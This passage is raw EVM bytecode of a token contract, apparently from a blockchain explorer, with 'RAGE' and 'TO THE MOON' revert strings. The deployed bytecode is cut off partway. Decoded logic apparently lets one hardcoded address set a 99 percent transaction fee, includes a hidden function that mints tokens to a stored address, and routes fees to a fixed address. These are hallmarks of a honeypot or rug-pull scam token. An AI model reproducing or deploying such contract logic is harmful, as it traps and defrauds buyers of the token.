ffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d6d91906130fa565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611ddd5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611e0c5750600b5f9054906101000a900460ff16158015611e0b5750600b60019054906101000a900460ff165b5b80611ecd5750600b5f9054906101000a900460ff168015611e735750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ecc575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611f31575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611f3057505f600a54145b5b611f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6790613338565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611fb9575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611ff0575f80fd5b6120408360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120d18360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161216f91906130fa565b60405180910390a3600191505092915050565b735a099c8f3790db12ca850509be0c8d49f2d509aa73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fb90613678565b60405180910390fd5b600b5f9054906101000a900460ff1615612253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224a906136e0565b60405180910390fd5b5f8214612295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228c90613748565b60405180910390fd5b606381146122d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cf906137b0565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161234c9291906137ce565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806123ff5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061242e5750600b5f9054906101000a900460ff1615801561242d5750600b60019054906101000a900460ff165b5b806124ef5750600b5f9054906101000a900460ff1680156124955750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156124ee575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612553575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561255257505f600a54145b5b612592576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258990613338565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612612576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126099061383f565b60405180910390fd5b600b60019054906101000a900460ff1615612a12575f808390505f600a5411801561268a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156126dd5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156127225761270a60646126fc600a5487612dbc90919063ffffffff16565b612e3390919063ffffffff16565b915061271f8285612e8a90919063ffffffff16565b90505b6127728460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128248160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161290491906130fa565b60405180910390a35f821115612a0b576129648260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a0291906130fa565b60405180910390a35b5050612bfd565b612a628260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612b148260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612bf491906130fa565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612c90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c87906134d8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf5906138a7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612dcc575f9050612e2d565b5f8284612dd991906138f2565b9050828482612de89190613960565b14612e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1f906139da565b60405180910390fd5b809150505b92915050565b5f808211612e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6d90613a42565b60405180910390fd5b8183612e829190613960565b905092915050565b5f82821115612ece576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ec590613aaa565b60405180910390fd5b8183612eda9190613ac8565b905092915050565b5f808284612ef09190613afb565b905083811015612f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2c90613b78565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612f76578082015181840152602081019050612f5b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612f9b82612f3f565b612fa58185612f49565b9350612fb5818560208601612f59565b612fbe81612f81565b840191505092915050565b5f6020820190508181035f830152612fe18184612f91565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61301682612fed565b9050919050565b6130268161300c565b8114613030575f80fd5b50565b5f813590506130418161301d565b92915050565b5f819050919050565b61305981613047565b8114613063575f80fd5b50565b5f8135905061307481613050565b92915050565b5f80604083850312156130905761308f612fe9565b5b5f61309d85828601613033565b92505060206130ae85828601613066565b9150509250929050565b5f8115159050919050565b6130cc816130b8565b82525050565b5f6020820190506130e55f8301846130c3565b92915050565b6130f481613047565b82525050565b5f60208201905061310d5f8301846130eb565b92915050565b5f805f6060848603121561312a57613129612fe9565b5b5f61313786828701613033565b935050602061314886828701613033565b925050604061315986828701613066565b9150509250925092565b5f60ff82169050919050565b61317881613163565b82525050565b5f6020820190506131915f83018461316f565b92915050565b5f602082840312156131ac576131ab612fe9565b5b5f6131b984828501613033565b91505092915050565b6131cb8161300c565b82525050565b5f6020820190506131e45f8301846131c2565b92915050565b5f8060408385031215613200576131ff612fe9565b5b5f61320d85828601613066565b925050602061321e85828601613066565b9150509250929050565b5f806040838503121561323e5761323d612fe9565b5b5f61324b85828601613033565b925050602061325c85828601613033565b9150509250929050565b5f6020828403121561327b5761327a612fe9565b5b5f61328884828501613066565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806132d557607f821691505b6020821081036132e8576132e7613291565b5b50919050565b7f45415359205241474500000000000000000000000000000000000000000000005f82015250565b5f613322600983612f49565b915061332d826132ee565b602082019050919050565b5f6020820190508181035f83015261334f81613316565b9050919050565b7f52414745000000000000000000000000000000000000000000000000000000005f82015250565b5f61338a600483612f49565b915061339582613356565b602082019050919050565b5f6020820190508181035f8301526133b78161337e565b9050919050565b7f544f20544845204d4f4f4e0000000000000000000000000000000000000000005f82015250565b5f6133f2600b83612f49565b91506133fd826133be565b602082019050919050565b5f6020820190508181035f83015261341f816133e6565b9050919050565b7f46524545205241474500000000000000000000000000000000000000000000005f82015250565b5f61345a600983612f49565b915061346582613426565b602082019050919050565b5f6020820190508181035f8301526134878161344e565b9050919050565b7f55502054484520524147450000000000000000000000000000000000000000005f82015250565b5f6134c2600b83612f49565b91506134cd8261348e565b602082019050919050565b5f6020820190508181035f8301526134ef816134b6565b9050919050565b7f42415345440000000000000000000000000000000000000000000000000000005f82015250565b5f61352a600583612f49565b9150613535826134f6565b602082019050919050565b5f6020820190508181035f8301526135578161351e565b9050919050565b7f44455600000000000000000000000000000000000000000000000000000000005f82015250565b5f613592600383612f49565b915061359d8261355e565b602082019050919050565b5f6020820190508181035f8301526135bf81613586565b9050919050565b7f52414745453300000000000000000000000000000000000000000000000000005f82015250565b5f6135fa600683612f49565b9150613605826135c6565b602082019050919050565b5f6020820190508181035f830152613627816135ee565b9050919050565b7f52414745520000000000000000000000000000000000000000000000000000005f82015250565b5f613662600583612f49565b915061366d8261362e565b602082019050919050565b5f6020820190508181035f83015261368f81613656565b9050919050565b7f52414745782055504400000000000000000000000000000000000000000000005f82015250565b5f6136ca600983612f49565b91506136d582613696565b602082019050919050565b5f6020820190508181035f8301526136f7816136be565b9050919050565b7f52524147454545000000000000000000000000000000000000000000000000005f82015250565b5f613732600783612f49565b915061373d826136fe565b602082019050919050565b5f6020820190508181035f83015261375f81613726565b9050919050565b7f52414745454545454545000000000000000000000000000000000000000000005f82015250565b5f61379a600a83612f49565b91506137a582613766565b602082019050919050565b5f6020820190508181035f8301526137c78161378e565b9050919050565b5f6040820190506137e15f8301856130eb565b6137ee60208301846130eb565b9392505050565b7f24526167656520497400000000000000000000000000000000000000000000005f82015250565b5f613829600983612f49565b9150613834826137f5565b602082019050919050565b5f6020820190508181035f8301526138568161381d565b9050919050565b7f52414745203130305800000000000000000000000000000000000000000000005f82015250565b5f613891600983612f49565b915061389c8261385d565b602082019050919050565b5f6020820190508181035f8301526138be81613885565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6138fc82613047565b915061390783613047565b925082820261391581613047565b9150828204841483151761392c5761392b6138c5565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61396a82613047565b915061397583613047565b92508261398557613984613933565b5b828204905092915050565b7f52414745450000000000000000000000000000000000000000000000000000005f82015250565b5f6139c4600583612f49565b91506139cf82613990565b602082019050919050565b5f6020820190508181035f8301526139f1816139b8565b9050919050565b7f52414745454545450000000000000000000000000000000000000000000000005f82015250565b5f613a2c600883612f49565b9150613a37826139f8565b602082019050919050565b5f6020820190508181035f830152613a5981613a20565b9050919050565b7f52414745454500000000000000000000000000000000000000000000000000005f82015250565b5f613a94600683612f49565b9150613a9f82613a60565b602082019050919050565b5f6020820190508181035f830152613ac181613a88565b9050919050565b5f613ad282613047565b9150613add83613047565b9250828203905081811115613af557613af46138c5565b5b92915050565b5f613b0582613047565b9150613b1083613047565b9250828201905080821115613b2857613b276138c5565b5b92915050565b7f52414778450000000000000000000000000000000000000000000000000000005f82015250565b5f613b62600583612f49565b9150613b6d82613b2e565b602082019050919050565b5f6020820190508181035f830152613b8f81613b56565b905091905056fea26469706673582212205eb392c4456debd0e9d7a59e98800d429b3a2a1649c72ae47852385ffa88fc8864736f6c634300081500330000000000000000000000005a099c8f3790db12ca850509be0c8d49f2d509aa000000000000000000010b46c6cdd6e3e0828f4db456ff0c8e9fffffffffffff

Deployed Bytecode

0x60806040526004361061014a575f3560e01c8063715018a6116100b5578063a9059cbb1161006e578063a9059cbb14610442578063b390c0ab1461047e578063c31c9c07146104a6578063dd62ed3e146104d0578063e4849b321461050c578063f2fde38b146105345761014a565b8063715018a61461038e5780638da5cb5b146103a457806395d89b41146103ce5780639975038c146103f8578063a64e4f8a1461040e578063a6f2ae3a146104385761014a565b8063313ce56711610107578063313ce5671461026e5780633f4218e01461029857806347062402146102d457806347b5dd54146102fe57806364bcf5f41461032857806370a08231146103525761014a565b806306fdde031461014e578063095ea7b31461017857806318160ddd146101b457806323b872dd146101de57806325e0e4d01461021a5780632b14ca5614610244575b5f80fd5b348015610159575f80fd5b5061016261055c565b60405161016f9190612fc9565b60405180910390f35b348015610183575f80fd5b5061019e6004803603810190610199919061307a565b6105e7565b6040516101ab91906130d2565b60405180910390f35b3480156101bf575f80fd5b506101c86106d4565b6040516101d591906130fa565b60405180910390f35b3480156101e9575f80fd5b5061020460048036038101906101ff9190613113565b6106da565b60405161021191906130d2565b60405180910390f35b348015610225575f80fd5b5061022e611226565b60405161023b91906130d2565b60405180910390f35b34801561024f575f80fd5b50610258611238565b60405161026591906130fa565b60405180910390f35b348015610279575f80fd5b5061028261123e565b60405161028f919061317e565b60405180910390f35b3480156102a3575f80fd5b506102be60048036038101906102b99190613197565b611250565b6040516102cb91906130d2565b60405180910390f35b3480156102df575f80fd5b506102e861126d565b6040516102f591906130fa565b60405180910390f35b348015610309575f80fd5b50610312611273565b60405161031f91906130fa565b60405180910390f35b348015610333575f80fd5b5061033c611279565b60405161034991906130d2565b60405180910390f35b34801561035d575f80fd5b5061037860048036038101906103739190613197565b61128c565b60405161038591906130fa565b60405180910390f35b348015610399575f80fd5b506103a26112a1565b005b3480156103af575f80fd5b506103b86113ed565b6040516103c591906131d1565b60405180910390f35b3480156103d9575f80fd5b506103e2611412565b6040516103ef9190612fc9565b60405180910390f35b348015610403575f80fd5b5061040c61149e565b005b348015610419575f80fd5b50610422611724565b60405161042f91906130d2565b60405180910390f35b610440611737565b005b34801561044d575f80fd5b506104686004803603810190610463919061307a565b611d7a565b60405161047591906130d2565b60405180910390f35b348015610489575f80fd5b506104a4600480360381019061049f91906131ea565b612182565b005b3480156104b1575f80fd5b506104ba612358565b6040516104c791906131d1565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190613228565b61237d565b60405161050391906130fa565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190613266565b61239d565b005b34801561053f575f80fd5b5061055a60048036038101906105559190613197565b612c01565b005b5f8054610568906132be565b80601f0160208091040260200160405190810160405280929190818152602001828054610594906132be565b80156105df5780601f106105b6576101008083540402835291602001916105df565b820191905f5260205f20905b8154815290600101906020018083116105c257829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c291906130fa565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff168061073d5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061076c5750600b5f9054906101000a900460ff1615801561076b5750600b60019054906101000a900460ff165b5b8061082d5750600b5f9054906101000a900460ff1680156107d35750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561082c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80610891575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561089057505f600a54145b5b6108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790613338565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610950576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610947906133a0565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290613408565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610a79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7090613470565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610a9b57505f600a54115b8015610af4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610b475750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610b8c57610b746064610b66600a5488612dbc90919063ffffffff16565b612e3390919063ffffffff16565b9150610b898286612e8a90919063ffffffff16565b90505b610bdc8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c6d8160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d0b91906130fa565b60405180910390a35f821115610f5a575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610e6157610db68360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e5491906130fa565b60405180910390a3610f58565b610eb18360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f4f91906130fa565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561102e57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b15611218576110be8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161120f91906130fa565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611327906134d8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461141f906132be565b80601f016020809104026020016040519081016040528092919081815260200182805461144b906132be565b80156114965780601f1061146d57610100808354040283529160200191611496565b820191905f5260205f20905b81548152906001019060200180831161147957829003601f168201915b505050505081565b600b5f9054906101000a900460ff166114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390613540565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361157b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611572906133a0565b60405180910390fd5b5f600854116115bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b6906135a8565b60405180910390fd5b6115d6600854600254612ee290919063ffffffff16565b60028190555061164f60085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688560085460405161171a91906130fa565b60405180910390a2565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806117995750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806117c85750600b5f9054906101000a900460ff161580156117c75750600b60019054906101000a900460ff165b5b806118895750600b5f9054906101000a900460ff16801561182f5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611888575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806118ed575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156118ec57505f600a54145b5b61192c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192390613338565b60405180910390fd5b5f341161196e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196590613610565b60405180910390fd5b5f3490505f6009541115611c1c575f6119a5606461199760095485612dbc90919063ffffffff16565b612e3390919063ffffffff16565b90505f6119bb8284612e8a90919063ffffffff16565b9050611a2e8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b0e91906130fa565b60405180910390a35f821115611c1557611b6e8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c0c91906130fa565b60405180910390a35b5050611d76565b611c8d8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d6d91906130fa565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611ddd5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611e0c5750600b5f9054906101000a900460ff16158015611e0b5750600b60019054906101000a900460ff165b5b80611ecd5750600b5f9054906101000a900460ff168015611e735750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ecc575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611f31575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673f